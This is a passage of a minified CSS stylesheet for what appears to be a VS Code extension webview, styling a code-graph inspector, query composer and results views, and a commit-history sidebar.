small{color:var(--compass-faint);font:9px/1 var(--compass-font-mono)}.compass-inspector-resizer{z-index:6;background:var(--compass-panel);cursor:col-resize;touch-action:none;border:0;outline:none;min-width:8px;position:relative}.compass-inspector-resizer span{background:var(--compass-line-strong);border-radius:999px;width:2px;height:42px;transition:height .16s,background .16s;position:absolute;top:50%;left:3px;transform:translateY(-50%)}.compass-inspector-resizer:hover span,.compass-inspector-resizer:focus-visible span{background:var(--compass-focus);height:68px}.compass-graph-inspector{z-index:5;border-left:1px solid var(--compass-line);background:var(--vscode-sideBar-background,var(--compass-panel));min-width:0;box-shadow:none;flex-direction:column;display:flex;position:relative;overflow:hidden}.compass-graph-inspector-collapsed{border-left:1px solid var(--compass-line);box-shadow:none;align-items:center}.compass-inspector-header{border-bottom:1px solid var(--compass-line);align-items:center;gap:11px;min-height:52px;padding:8px 12px;display:flex}.compass-inspector-title{flex:1;min-width:0}.compass-inspector-header strong,.compass-inspector-header small{display:block}.compass-inspector-header strong{letter-spacing:.01em;font-size:14px}.compass-inspector-header small{color:var(--compass-faint);margin-top:2px;font-size:11px}.compass-product-mark{background:linear-gradient(145deg,var(--vscode-button-foreground,#eff8ff),var(--compass-focus));border-radius:4px;flex:none;place-items:center;width:32px;height:32px;display:grid}@supports (color:color-mix(in lab,red,red)){.compass-product-mark{background:linear-gradient(145deg,var(--vscode-button-foreground,#eff8ff),color-mix(in srgb,var(--compass-focus) 64%,#fff))}}.compass-product-mark{color:var(--vscode-button-background,#09182c);box-shadow:inset 0 0 0 1px #ffffff7a}.compass-product-mark svg{width:19px;height:19px}.compass-inspector-disclosure{width:32px;height:32px;color:var(--muted-foreground);background:0 0;border:1px solid #0000;border-radius:3px;outline:none;flex:none;place-items:center;transition:none;display:grid}.compass-inspector-disclosure:hover{border-color:var(--compass-line);background:var(--workbench-hover);color:var(--foreground)}.compass-inspector-disclosure svg{width:17px;height:17px}.compass-inspector-expand{margin-top:18px}.compass-inspector-rail-label{color:var(--compass-faint);letter-spacing:.12em;text-transform:uppercase;writing-mode:vertical-rl;margin-top:16px;font-size:10px;font-weight:650}.compass-inspector-search{border-bottom:1px solid var(--compass-line);padding:10px 12px;position:relative}.compass-search-field{position:relative}.compass-search-field svg{width:15px;height:15px;color:var(--compass-faint);pointer-events:none;position:absolute;top:50%;left:13px;transform:translateY(-50%)}.compass-search-field input{border:1px solid var(--compass-line);background:var(--vscode-input-background,var(--background));width:100%;min-height:30px;color:var(--vscode-input-foreground,var(--foreground));border-radius:3px;outline:none;padding:0 10px 0 34px}.compass-search-field input::placeholder{color:var(--vscode-input-placeholderForeground,var(--compass-faint))}.compass-search-results{z-index:8;border:1px solid var(--compass-line-strong);background:var(--vscode-menu-background,var(--compass-panel));max-height:230px;box-shadow:0 4px 12px var(--vscode-widget-shadow,#00000047);border-radius:3px;padding:6px;position:absolute;top:46px;left:12px;right:12px;overflow-y:auto}.compass-search-item{width:100%;min-height:42px;color:var(--muted-foreground);text-align:left;background:0 0;border:0;border-left:3px solid #0000;border-radius:2px;padding:7px 10px;display:block;overflow:hidden}.compass-search-item strong,.compass-search-item span{text-overflow:ellipsis;white-space:nowrap;display:block;overflow:hidden}.compass-search-item strong{color:var(--foreground);font-size:12px}.compass-search-item span{color:var(--compass-faint);font:10px/1.4 var(--compass-font-mono)}.compass-search-item:hover,.compass-search-item[aria-selected=true]{background:var(--vscode-list-activeSelectionBackground,var(--compass-focus-soft));color:var(--vscode-list-activeSelectionForeground,var(--foreground))}.compass-info-panel{border-bottom:1px solid var(--compass-line);max-height:48%;padding:18px 16px;overflow-y:auto}.compass-changed-symbols{border-bottom:1px solid var(--compass-line);max-height:30%;padding:14px 16px;overflow-y:auto}.compass-changed-symbol-list{gap:4px;display:grid}.compass-changed-symbol-list>button{width:100%;color:var(--foreground);text-align:left;background:0 0;border:1px solid #0000;border-radius:3px;grid-template-columns:auto minmax(0,1fr);gap:2px 8px;padding:7px 8px;display:grid}.compass-changed-symbol-list>button:hover,.compass-changed-symbol-list>button[aria-pressed=true]{border-color:var(--compass-line);background:var(--vscode-list-activeSelectionBackground,var(--compass-focus-soft))}.compass-changed-symbol-list strong,.compass-changed-symbol-list small{text-overflow:ellipsis;white-space:nowrap;min-width:0;overflow:hidden}.compass-changed-symbol-list small{color:var(--compass-faint);font:9px/1.35 var(--compass-font-mono);grid-column:2}.compass-changed-symbol-status{color:var(--vscode-descriptionForeground);letter-spacing:.06em;text-transform:uppercase;grid-row:1/span 2;align-self:center;font-size:8px;font-weight:700}.compass-changed-symbol-list>button[data-change=added] .compass-changed-symbol-status{color:var(--vscode-gitDecoration-addedResourceForeground,#2ea043)}.compass-changed-symbol-list>button[data-change=removed] .compass-changed-symbol-status{color:var(--vscode-gitDecoration-deletedResourceForeground,#f85149)}.compass-changed-symbol-list>button[data-change=changed] .compass-changed-symbol-status{color:var(--vscode-gitDecoration-modifiedResourceForeground,#d29922)}.compass-changed-symbol-expand{border:1px solid var(--compass-line);width:100%;color:var(--vscode-textLink-foreground,var(--compass-focus));background:0 0;border-radius:3px;margin-top:8px;padding:6px 8px}.compass-record-evidence,.compass-relationship-evidence{margin-top:16px}.compass-evidence-heading{justify-content:space-between;align-items:baseline;margin-bottom:7px;display:flex}.compass-evidence-heading h3{color:var(--foreground);font-size:11px}.compass-evidence-heading span{color:var(--compass-faint);font-size:9px}.compass-field-table-wrap{border:1px solid var(--compass-line);border-radius:3px;overflow-x:auto}.compass-field-table{border-collapse:collapse;table-layout:fixed;width:100%;min-width:360px}.compass-field-table th,.compass-field-table td{border-right:1px solid var(--compass-line);border-bottom:1px solid var(--compass-line);vertical-align:top;text-align:left;padding:6px 7px}.compass-field-table tr:last-child>*{border-bottom:0}.compass-field-table tr>:last-child{border-right:0}.compass-field-table thead th{background:var(--vscode-editorWidget-background,var(--background));color:var(--compass-faint);text-transform:uppercase;font-size:9px}.compass-field-table tbody th{width:27%;color:var(--foreground);font:9px/1.4 var(--compass-font-mono);overflow-wrap:anywhere}.compass-field-table code{color:var(--foreground);font:9px/1.4 var(--compass-font-mono);white-space:pre-wrap;overflow-wrap:anywhere}.compass-value-truncated{color:var(--vscode-editorWarning-foreground,#d29922);margin-top:4px;font-size:8px;display:block}.compass-evidence-source-actions{gap:6px;margin-top:8px;display:flex}.compass-evidence-source-actions button{border:1px solid var(--compass-line);color:var(--vscode-textLink-foreground,var(--compass-focus));background:0 0;border-radius:3px;align-items:center;gap:5px;padding:5px 7px;display:inline-flex}.compass-evidence-source-actions svg{width:12px;height:12px}.compass-relationship-list{gap:5px;margin-top:7px;display:grid}.compass-relationship-list details{border:1px solid var(--compass-line);background:var(--vscode-editorWidget-background,var(--background));border-radius:3px;padding:6px 7px}.compass-relationship-list summary{cursor:pointer;grid-template-columns:auto minmax(0,1fr) auto;align-items:center;gap:4px 7px;display:grid}.compass-relationship-target{color:var(--vscode-textLink-foreground,var(--compass-focus));text-align:left;text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.compass-relationship-list summary small{color:var(--foreground);font:9px/1.3 var(--compass-font-mono);grid-column:2}.compass-relationship-list summary i{color:var(--compass-faint);text-transform:uppercase;grid-area:2/3;font-size:8px;font-style:normal}.compass-relationship-detail{margin-top:7px}.compass-relationship-detail>p{color:var(--compass-faint);font:9px/1.4 var(--compass-font-mono);margin:7px 0 0}.compass-relationship-detail>button{border:1px solid var(--compass-line);color:var(--vscode-textLink-foreground,var(--compass-focus));background:0 0;border-radius:3px;margin-top:7px;padding:4px 7px}.compass-bounded-notice{z-index:4;border:1px solid var(--vscode-editorWarning-foreground,#d29922);background:var(--vscode-editorWidget-background,var(--compass-panel));max-width:min(420px,100% - 24px);color:var(--foreground);border-radius:3px;gap:2px;padding:8px 10px;font-size:10px;display:grid;position:absolute;bottom:12px;right:12px}.compass-bounded-notice span{color:var(--muted-foreground)}.compass-hover-hint{color:var(--vscode-textLink-foreground,var(--compass-focus));font-weight:600}.compass-section-heading,.compass-neighbors-heading{justify-content:space-between;align-items:baseline;display:flex}.compass-section-heading{margin-bottom:15px}.compass-section-heading h2,.compass-community-panel h2{letter-spacing:.1em;text-transform:uppercase;font-size:11px;font-weight:700}.compass-section-heading span{color:var(--compass-faint);letter-spacing:.1em;text-transform:uppercase;font-size:9px}.compass-info-content{color:var(--muted-foreground);font-size:12px;line-height:1.45}.compass-node-identity{align-items:center;gap:11px;margin-bottom:15px;display:flex}.compass-node-identity>span:nth-child(2){flex:1;min-width:0}.compass-node-identity strong,.compass-node-identity small{display:block}.compass-node-identity strong{color:var(--foreground);text-overflow:ellipsis;white-space:nowrap;font-size:14px;overflow:hidden}.compass-node-identity small{background:var(--compass-success);border-radius:999px;width:max-content;margin-top:3px;padding:3px 7px}@supports (color:color-mix(in lab,red,red)){.compass-node-identity small{background:color-mix(in srgb,var(--compass-success) 20%,transparent)}}.compass-node-identity small{color:var(--compass-success);letter-spacing:.07em;text-transform:uppercase;font-size:9px;font-weight:800}.compass-node-swatch{border-radius:5px;flex:none;width:10px;height:36px}.compass-change-badge{width:max-content;color:var(--vscode-descriptionForeground,#6e7781);letter-spacing:.05em;text-transform:uppercase;border:1px solid;border-radius:999px;align-items:center;gap:5px;padding:3px 7px;font-size:9px;font-weight:700;display:inline-flex}.compass-node-identity .compass-change-badge{flex:none;margin-left:auto}.compass-change-badge[data-change=added]{color:var(--vscode-gitDecoration-addedResourceForeground,#2ea043)}.compass-change-badge[data-change=removed]{color:var(--vscode-gitDecoration-deletedResourceForeground,#f85149)}.compass-change-badge[data-change=changed]{color:var(--vscode-gitDecoration-modifiedResourceForeground,#d29922)}.compass-metadata-grid{grid-template-columns:1fr 1fr;gap:8px;margin-bottom:15px;display:grid}.compass-metadata-grid>div{border:1px solid var(--compass-line);background:var(--vscode-editorWidget-background,var(--background));border-radius:3px;min-width:0;padding:9px 10px}.compass-metadata-grid .compass-metadata-wide{grid-column:1/-1}.compass-metadata-grid dt{color:var(--compass-faint);letter-spacing:.08em;text-transform:uppercase;font-size:9px}.compass-metadata-grid dd{color:var(--foreground);text-overflow:ellipsis;white-space:nowrap;margin-top:4px;overflow:hidden}.compass-source-metadata[data-interactive=true]{padding:0;transition:border-color .16s,background .16s}.compass-source-metadata[data-interactive=true]:hover,.compass-source-metadata[data-interactive=true]:focus-within{border-color:var(--compass-focus);background:var(--compass-focus-soft)}.compass-source-metadata[data-interactive=true] dd{white-space:normal;margin:0;overflow:visible}.compass-source-card{width:100%;min-height:58px;color:var(--foreground);text-align:left;background:0 0;border:0;border-radius:2px;outline:none;justify-content:space-between;align-items:center;gap:10px;padding:9px 10px;display:flex}.compass-source-copy{min-width:0;display:block}.compass-source-eyebrow,.compass-source-path,.compass-source-range{display:block}.compass-source-eyebrow{color:var(--compass-faint);font-family:var(--compass-font-sans);letter-spacing:.08em;text-transform:uppercase;font-size:9px}.compass-source-path{font:11px/1.35 var(--compass-font-mono);text-overflow:ellipsis;white-space:nowrap;margin-top:4px;overflow:hidden}.compass-source-range{color:var(--muted-foreground);font:10px/1.25 var(--compass-font-sans);margin-top:3px}.compass-source-card>svg{width:15px;height:15px;color:var(--compass-focus);flex:none}.compass-source-card:hover>svg{color:var(--foreground)}.compass-signature-block{overflow-wrap:anywhere;border:1px solid var(--compass-line);background:var(--vscode-input-background,var(--background));color:var(--foreground);font:11px/1.45 var(--compass-font-mono);border-radius:3px;margin-bottom:15px;padding:10px;display:block}.compass-inspector-action{border:1px solid var(--compass-line);background:var(--workbench-hover);width:100%;min-height:36px;color:var(--foreground);border-radius:3px;justify-content:space-between;align-items:center;gap:8px;margin-bottom:14px;padding:0 10px;display:flex}.compass-inspector-action span{min-width:0;color:var(--muted-foreground);font:10px/1.2 var(--compass-font-mono);text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.compass-neighbors-heading{margin:3px 0 7px}.compass-neighbors-heading strong{color:var(--compass-faint);font-size:10px}.compass-neighbors-list{max-height:154px;overflow-y:auto}.compass-neighbor-link{width:100%;min-height:36px;color:var(--muted-foreground);text-align:left;background:0 0;border:0;border-radius:3px;align-items:center;gap:9px;margin:3px 0;padding:8px 9px;display:flex;overflow:hidden}.compass-neighbor-link:hover{background:var(--workbench-hover);color:var(--foreground)}.compass-neighbor-dot{width:8px;height:8px;box-shadow:0 0 0 1px var(--foreground);border-radius:50%;flex:none}@supports (color:color-mix(in lab,red,red)){.compass-neighbor-dot{box-shadow:0 0 0 1px color-mix(in srgb,var(--foreground) 10%,transparent)}}.compass-neighbor-label{text-overflow:ellipsis;white-space:nowrap;min-width:0;overflow:hidden}.compass-empty{color:var(--compass-faint);padding:8px 0;font-size:12px;display:block}.compass-community-panel{flex:1;min-height:0;padding:16px;overflow-y:auto}.compass-community-panel h2{margin-bottom:10px}.compass-community-panel[data-secondary=true]{flex:0 auto;padding-top:12px}.compass-community-panel details>summary{cursor:pointer;min-height:30px;color:var(--muted-foreground);letter-spacing:.1em;text-transform:uppercase;justify-content:space-between;align-items:center;font-size:11px;font-weight:700;display:flex}.compass-community-panel details>summary span{color:var(--compass-faint);font:9px/1 var(--compass-font-mono)}.compass-community-controls{min-height:0}.compass-community-control,.compass-community-item{min-height:34px;color:var(--muted-foreground);align-items:center;gap:8px;font-size:12px;display:flex}.compass-community-item{border-radius:3px}.compass-community-item:hover{background:var(--workbench-hover);color:var(--foreground)}.compass-community-item[data-hidden=true]{opacity:.36}.compass-community-item input,.compass-community-control input{width:15px;height:15px;accent-color:var(--compass-focus)}.compass-community-dot{border-radius:50%;flex:none;width:9px;height:9px}.compass-community-label{text-overflow:ellipsis;white-space:nowrap;flex:1;min-width:0;overflow:hidden}.compass-community-item small{color:var(--compass-faint);font-size:10px}.compass-graph-stats{border-top:1px solid var(--compass-line);color:var(--compass-faint);letter-spacing:.025em;padding:11px 16px;font-size:10px}.compass-node-hover-card{z-index:7;top:clamp(86px,var(--compass-hover-y),calc(100% - 10rem));left:clamp(12px,var(--compass-hover-x),calc(100% - min(27rem,90%) - 12px));border:1px solid var(--compass-line-strong);background:var(--vscode-editorHoverWidget-background,var(--compass-panel));width:max-content;max-width:min(26rem,100% - 24px);color:var(--vscode-editorHoverWidget-foreground,var(--muted-foreground));box-shadow:0 4px 12px var(--vscode-widget-shadow,#00000047);pointer-events:none;border-radius:3px;gap:7px;padding:13px 15px;font-size:12px;line-height:1.35;display:grid;position:absolute;overflow:hidden}.compass-node-hover-card>.compass-change-badge{margin:0}.compass-hover-heading{align-items:center;gap:8px;display:flex}.compass-hover-heading strong{min-width:0;color:var(--foreground);text-overflow:ellipsis;white-space:nowrap;font-size:13px;overflow:hidden}.compass-hover-heading span{background:var(--compass-success);border-radius:999px;width:max-content;padding:3px 7px}@supports (color:color-mix(in lab,red,red)){.compass-hover-heading span{background:color-mix(in srgb,var(--compass-success) 20%,transparent)}}.compass-hover-heading span{color:var(--compass-success);letter-spacing:.07em;font-size:9px;font-weight:800}.compass-node-hover-card p,.compass-node-hover-card code{display:block}.compass-hover-source{color:var(--compass-focus)}.compass-node-hover-card code{max-width:395px;color:var(--foreground);font-family:var(--compass-font-mono);text-overflow:ellipsis;white-space:nowrap;overflow:hidden}body.vscode-high-contrast .compass-glass-panel,body.vscode-high-contrast .compass-graph-inspector,body.vscode-high-contrast .compass-inspector-resizer,body.vscode-high-contrast .compass-load-action,body.vscode-high-contrast .compass-load-step>i,body.vscode-high-contrast .compass-source-metadata,body.vscode-high-contrast-light .compass-glass-panel,body.vscode-high-contrast-light .compass-graph-inspector,body.vscode-high-contrast-light .compass-inspector-resizer,body.vscode-high-contrast-light .compass-load-action,body.vscode-high-contrast-light .compass-load-step>i,body.vscode-high-contrast-light .compass-source-metadata{border-width:2px;border-color:var(--vscode-contrastBorder,var(--compass-focus))}body.vscode-high-contrast .compass-load-logo,body.vscode-high-contrast-light .compass-load-logo{color:var(--vscode-contrastBorder,currentColor)}@media(max-width:980px){.compass-tool-button span{display:none}.compass-tool-button{padding:0 11px}}@media(max-width:760px){.compass-workspace,.compass-workspace[data-inspector-collapsed=true]{grid-template-rows:minmax(360px,62vh) minmax(280px,40vh);grid-template-columns:1fr;height:auto;min-height:100vh;overflow:auto}.compass-workspace[data-inspector-collapsed=true]{grid-template-rows:minmax(360px,calc(100vh - 48px)) 48px}.compass-inspector-resizer{display:none}.compass-graph-inspector{border-top:1px solid var(--compass-line);min-height:280px;box-shadow:none;border-left:0;border-radius:0}.compass-graph-inspector-collapsed{border-radius:0;flex-direction:row;justify-content:center;min-height:48px}.compass-inspector-expand{margin-top:0}.compass-inspector-rail-label{writing-mode:horizontal-tb;margin-top:0;margin-left:10px}.compass-graph-toolbar{top:12px;left:12px;right:12px}.compass-toolbar-actions{max-width:62%;overflow-x:auto}.compass-info-panel{max-height:none}}@media(prefers-reduced-motion:reduce){*,:before,:after{scroll-behavior:auto!important;transition-duration:.01ms!important;animation-duration:.01ms!important;animation-iteration-count:1!important}.compass-load-logo,.compass-load-progress i,.architecture-load-skeleton span,.workbench-state-spinner{animation:none!important}}.architecture-shell{background:var(--background);height:100vh;color:var(--foreground);grid-template-columns:minmax(220px,280px) minmax(0,1fr);display:grid}.query-shell{--query-surface:var(--vscode-editor-background,var(--background));--query-surface-raised:var(--vscode-editorWidget-background,var(--vscode-sideBar-background,var(--card)));--query-border:var(--vscode-panel-border,var(--border));--query-input:var(--vscode-input-background,var(--background));--query-input-foreground:var(--vscode-input-foreground,var(--foreground));--query-accent:var(--vscode-focusBorder,var(--ring));background:var(--background);height:100vh;min-height:420px;color:var(--foreground);grid-template-rows:auto 1fr;display:grid;overflow:hidden}.query-header{border-bottom:1px solid var(--query-border);background:var(--query-surface);padding:14px 18px 16px}.query-heading-row{justify-content:space-between;align-items:flex-start;gap:16px;display:flex}.query-context{color:var(--muted-foreground);font:10px/1.35 var(--compass-font-mono);letter-spacing:.04em;text-transform:uppercase}.query-heading-row h1{margin:3px 0 0;font-size:16px;font-weight:600;line-height:1.3}.query-mode{border-bottom:1px solid var(--query-border);background:0 0;gap:0;width:100%;margin-top:14px;display:flex}.query-mode button{min-width:min(280px,50%);min-height:48px;color:var(--muted-foreground);font:inherit;text-align:left;background:0 0;border:0;border-top:2px solid #0000;border-radius:0;grid-template-columns:18px minmax(0,1fr);align-items:center;gap:8px;padding:7px 12px 8px;display:grid;position:relative}.query-mode button:hover{background:var(--workbench-hover);color:var(--foreground)}.query-mode button[aria-selected=true]{border-top-color:var(--vscode-tab-activeBorder,var(--query-accent));background:var(--vscode-tab-activeBackground,var(--query-surface-raised));box-shadow:inset 1px 0 var(--query-border),inset -1px 0 var(--query-border);color:var(--vscode-tab-activeForeground,var(--foreground))}.query-mode button[aria-selected=true] svg,.query-mode button[aria-selected=true] strong{opacity:1}.query-mode svg{width:15px;height:15px}.query-mode button>span,.query-mode strong,.query-mode small{min-width:0;display:block}.query-mode strong{font-size:12px;font-weight:600;line-height:1.3}.query-mode small{color:inherit;opacity:.78;text-overflow:ellipsis;white-space:nowrap;margin-top:2px;font-size:10px;font-weight:400;line-height:1.3;overflow:hidden}.query-composer-panel{border:1px solid var(--query-border);background:var(--query-surface-raised);border-top:0;padding:12px}.query-composer{display:block}.query-editor-shell{border:1px solid var(--vscode-input-border,var(--border));background:var(--query-input);color:var(--query-input-foreground);border-radius:3px;overflow:hidden}.query-editor-shell:focus-within{border-color:var(--ring);outline:1px solid var(--ring);outline-offset:-1px}.query-editor{min-width:0;position:relative}.query-editor textarea{resize:vertical;background:var(--query-input);width:100%;min-height:96px;max-height:260px;color:inherit;font:13px/1.55 var(--compass-font-sans);box-sizing:border-box;border:0;border-radius:0;outline:none;padding:11px 12px;display:block}.query-composer-panel[data-mode=cql] .query-editor textarea{font-family:var(--compass-font-mono);font-size:12px}.query-editor textarea::placeholder,.query-params input::placeholder{color:var(--vscode-input-placeholderForeground,var(--muted-foreground))}.query-params input:focus-visible{border-color:var(--ring);outline:1px solid var(--ring);outline-offset:-1px}.query-composer-footer{border-top:1px solid var(--query-border);background:var(--query-surface);align-items:center;gap:12px;min-height:40px;padding:5px 6px 5px 10px;display:flex}.query-footer-actions{flex:none;justify-content:flex-end;align-items:center;gap:8px;margin-left:auto;display:flex}.query-shortcut{color:var(--vscode-disabledForeground,var(--compass-faint));font:10px/1 var(--compass-font-sans);white-space:nowrap}.query-run{border:1px solid var(--vscode-button-border,transparent);background:var(--vscode-button-background,var(--primary));min-width:76px;min-height:30px;color:var(--vscode-button-foreground,var(--primary-foreground));font:inherit;border-radius:3px;justify-content:center;align-items:center;gap:6px;padding:5px 11px;font-size:12px;display:flex}.query-run:hover:not(:disabled){background:var(--vscode-button-hoverBackground,var(--primary))}.query-run:disabled{background:var(--vscode-button-secondaryBackground,var(--secondary));color:var(--vscode-disabledForeground,var(--compass-faint))}.query-run svg{width:13px;height:13px}.query-params{min-width:0;max-width:620px;color:var(--muted-foreground);flex:520px;align-items:center;gap:8px;font-size:10px;display:flex}.query-params>span{flex:none}.query-params input{border:1px solid var(--vscode-input-border,var(--border));background:var(--vscode-input-background,var(--input));min-width:0;max-width:520px;height:28px;color:var(--vscode-input-foreground,var(--foreground));font:11px var(--compass-font-mono);border-radius:3px;outline:none;flex:260px;padding:3px 8px}.query-examples{align-items:center;gap:5px;margin-top:9px;display:flex;overflow-x:auto}.query-examples>span{color:var(--muted-foreground);text-transform:uppercase;flex:none;font-size:10px;font-weight:600}.query-examples button,.query-history button{border:1px solid var(--border);color:var(--muted-foreground);font:inherit;white-space:nowrap;background:0 0;border-radius:3px;padding:4px 7px;font-size:10px}.query-examples button:hover,.query-history button:hover{background:var(--workbench-hover);color:var(--foreground)}.query-results{min-height:0;padding:clamp(12px,2vw,22px);overflow:auto}.query-results>.workbench-state,.query-empty{min-height:100%}.query-result{width:min(1180px,100%);margin:0 auto}.query-result>header{justify-content:space-between;align-items:flex-start;gap:12px;margin-bottom:9px;display:flex}.query-result>header span{color:var(--muted-foreground);font-size:10px}.query-result>header>span{font-family:var(--compass-font-mono);align-items:center;gap:5px;display:flex}.query-result>header svg{width:12px;height:12px}.query-result h2{margin:2px 0 0;font-size:14px;font-weight:600}.query-text-result,.query-json-result{border:1px solid var(--border);background:var(--vscode-textCodeBlock-background,var(--card));min-height:120px;color:var(--foreground);font:12px/1.6 var(--compass-font-mono);white-space:pre-wrap;overflow-wrap:anywhere;border-radius:3px;margin:0;padding:12px;overflow:auto}.query-prose-result{border:1px solid var(--query-border);background:var(--query-surface-raised);color:var(--foreground);border-radius:3px;padding:14px 16px;font-size:13px;line-height:1.65}.query-prose-result p,.query-prose-result ul{margin:0}.query-prose-result p+p,.query-prose-result p+ul,.query-prose-result ul+p{margin-top:10px}.query-prose-result ul{padding-left:20px}.query-traversal-result{gap:10px;display:grid}.query-traversal-summary{border:1px solid var(--query-border);border-left:3px solid var(--query-accent);background:var(--query-surface-raised);justify-content:space-between;align-items:center;gap:16px;min-height:54px;padding:10px 12px;display:flex}.query-traversal-summary p{color:var(--foreground);margin:0;font-size:12px;font-weight:600}.query-result-metrics{color:var(--muted-foreground);flex-wrap:wrap;gap:5px 14px;margin-top:5px;font-size:10px;display:flex}.query-result-metrics strong{color:var(--foreground);font-weight:600}.query-graph-action{border:1px solid var(--vscode-button-border,transparent);background:var(--vscode-button-secondaryBackground,var(--secondary));min-height:30px;color:var(--vscode-button-secondaryForeground,var(--secondary-foreground));font:11px var(--compass-font-sans);border-radius:3px;flex:none;align-items:center;gap:6px;padding:5px 9px;display:inline-flex}.query-graph-action:hover{background:var(--vscode-button-secondaryHoverBackground,var(--workbench-hover))}.query-graph-action svg{width:14px;height:14px}.query-node-results{border:1px solid var(--query-border);background:var(--query-surface);border-radius:3px;overflow:hidden}.query-node-result{border-bottom:1px solid var(--query-border);grid-template-columns:18px minmax(160px,.72fr) minmax(240px,1.28fr);align-items:center;gap:9px;min-width:0;min-height:48px;padding:7px 10px;display:grid}.query-node-result:last-child{border-bottom:0}.query-node-result:hover{background:var(--workbench-hover)}.query-node-result>svg{width:14px;height:14px;color:var(--vscode-symbolIcon-functionForeground,var(--query-accent))}.query-node-copy,.query-node-copy h3,.query-node-copy p{min-width:0}.query-node-copy h3,.query-node-copy p{text-overflow:ellipsis;white-space:nowrap;margin:0;overflow:hidden}.query-node-copy h3{color:var(--vscode-editor-foreground,var(--foreground));font-size:12px;font-weight:600}.query-node-copy p{color:var(--muted-foreground);margin-top:2px;font-size:10px}.query-source-action{min-width:0;color:var(--workbench-link);font:10px/1.4 var(--compass-font-mono);text-align:left;background:0 0;border:1px solid #0000;border-radius:3px;justify-content:space-between;align-items:center;gap:8px;padding:5px 7px;display:flex;overflow:hidden}.query-source-action:hover{border-color:var(--query-border);background:var(--vscode-editorHoverWidget-background,var(--query-surface-raised))}.query-source-action span{text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.query-source-action small{color:var(--muted-foreground);font:10px var(--compass-font-mono);flex:none}.query-source-missing{color:var(--vscode-disabledForeground,var(--compass-faint));font:10px var(--compass-font-mono)}.query-table{border:1px solid var(--border);border-radius:3px;overflow:auto}.query-table table{border-collapse:collapse;width:100%;min-width:480px;font-size:11px}.query-table thead{background:var(--workbench-table-header);position:sticky;top:0}.query-table th,.query-table td{border-bottom:1px solid var(--border);text-align:left;text-overflow:ellipsis;white-space:nowrap;max-width:380px;padding:7px 9px;overflow:hidden}.query-table th{color:var(--muted-foreground);font-weight:500}.query-table tbody tr:hover{background:var(--workbench-hover)}.query-table tr:last-child td{border-bottom:0}.query-empty{place-content:center;display:grid}.query-history{text-align:center;width:min(720px,100vw - 40px);margin:-28px auto 20px}.query-history h2{color:var(--muted-foreground);margin:0 0 7px;font-size:10px;font-weight:500}.query-history button{text-overflow:ellipsis;max-width:min(100%,460px);margin:2px;overflow:hidden}.query-shell button:focus-visible{outline:2px solid var(--ring);outline-offset:1px}body.vscode-high-contrast .query-mode,body.vscode-high-contrast-light .query-mode,body.vscode-high-contrast .query-text-result,body.vscode-high-contrast-light .query-text-result,body.vscode-high-contrast .query-json-result,body.vscode-high-contrast-light .query-json-result,body.vscode-high-contrast .query-table,body.vscode-high-contrast-light .query-table,body.vscode-high-contrast .query-composer-panel,body.vscode-high-contrast-light .query-composer-panel,body.vscode-high-contrast .query-editor-shell,body.vscode-high-contrast-light .query-editor-shell,body.vscode-high-contrast .query-prose-result,body.vscode-high-contrast-light .query-prose-result,body.vscode-high-contrast .query-traversal-summary,body.vscode-high-contrast-light .query-traversal-summary,body.vscode-high-contrast .query-node-results,body.vscode-high-contrast-light .query-node-results{border-width:2px;border-color:var(--vscode-contrastBorder,var(--ring))}body.vscode-high-contrast .query-mode button[aria-selected=true],body.vscode-high-contrast-light .query-mode button[aria-selected=true]{border:2px solid var(--vscode-contrastBorder,var(--ring));border-bottom:0}.history-shell{background:var(--background);height:100vh;min-height:440px;color:var(--foreground);grid-template-columns:minmax(270px,340px) minmax(0,1fr);display:grid;overflow:hidden}.history-bootstrap{background:var(--vscode-editor-background,var(--background));place-items:center;min-height:100vh;display:grid}.history-sidebar{border-right:1px solid var(--border);background:var(--sidebar);min-width:0;min-height:0;color:var(--sidebar-foreground);flex-direction:column;display:flex}.history-sidebar-header{border-bottom:1px solid var(--border);flex:none;padding:14px 12px 12px}.history-title{align-items:flex-start;gap:9px;display:flex}.history-title>svg{width:16px;height:16px;color:var(--muted-foreground);margin-top:1px}.history-title h1{margin:0;font-size:13px;font-weight:600;line-height:1.25}.history-title p{color:var(--muted-foreground);margin:3px 0 0;font-size:11px}.history-search{align-items:center;margin-top:12px;display:flex;position:relative}.history-search>svg{width:14px;height:14px;color:var(--vscode-input-placeholderForeground,var(--muted-foreground));pointer-events:none;position:absolute;left:8px}.history-search input,.history-mobile-select select{border:1px solid var(--vscode-input-border,transparent);background:var(--vscode-input-background,var(--input));width:100%;min-height:28px;color:var(--vscode-input-foreground,var(--foreground));font:inherit;border-radius:2px;outline:none;font-size:12px}.history-search input{padding:4px 8px 4px 28px}.history-search input::placeholder{color:var(--vscode-input-placeholderForeground,var(--muted-foreground))}.history-search input:focus-visible,.history-mobile-select select:focus-visible,.history-rail:focus-visible,.history-commit:focus-visible{border-color:var(--ring);outline:1px solid var(--ring);outline-offset:-1px}.history-mobile-select{display:none}.history-rail{outline:none;flex:auto;min-height:0;overflow:auto}.history-pagination{border-top:1px solid var(--border);color:var(--muted-foreground);flex:none;justify-items:start;gap:6px;padding:8px 10px;font-size:11px;display:grid}.history-pagination [role=alert]{color:var(--destructive)}.history-commit{border:0;border-bottom:1px solid var(--border);width:100%;color:inherit;text-align:left;background:0 0;border-radius:0;align-items:center;gap:.625rem;padding:8px 11px;display:flex;position:absolute;left:0;right:0}.history-commit:hover{background:var(--workbench-hover);color:var(--workbench-hover-foreground)}.history-commit[aria-selected=true]{background:var(--sidebar-accent);color:var(--sidebar-accent-foreground);box-shadow:inset 2px 0 var(--sidebar-primary)}.history-commit>svg{width:15px;height:15px;color:var(--muted-foreground);flex:none}.history-commit>svg[data-state=available]{color:var(--compass-success)}.history-commit>svg[data-state=building]{color:var(--vscode-progressBar-background,var(--ring))}.history-commit>svg[data-state=failed]{color:var(--destructive)}.history-commit-row-copy,.history-commit-subject,.history-commit-byline{min-width:0}.history-commit-row-copy{flex:1;display:block}.history-commit-subject{text-overflow:ellipsis;white-space:nowrap;font-size:12px;font-weight:500;line-height:1.4;display:block;overflow:hidden}.history-commit-byline{color:var(--muted-foreground);white-space:nowrap;align-items:center;gap:5px;margin-top:3px;font-size:10px;display:flex;overflow:hidden}.history-commit[aria-selected=true] .history-commit-byline{color:currentColor}@supports (color:color-mix(in lab,red,red)){.history-commit[aria-selected=true] .history-commit-byline{color:color-mix(in srgb,currentColor 72%,transparent)}}.history-commit-byline 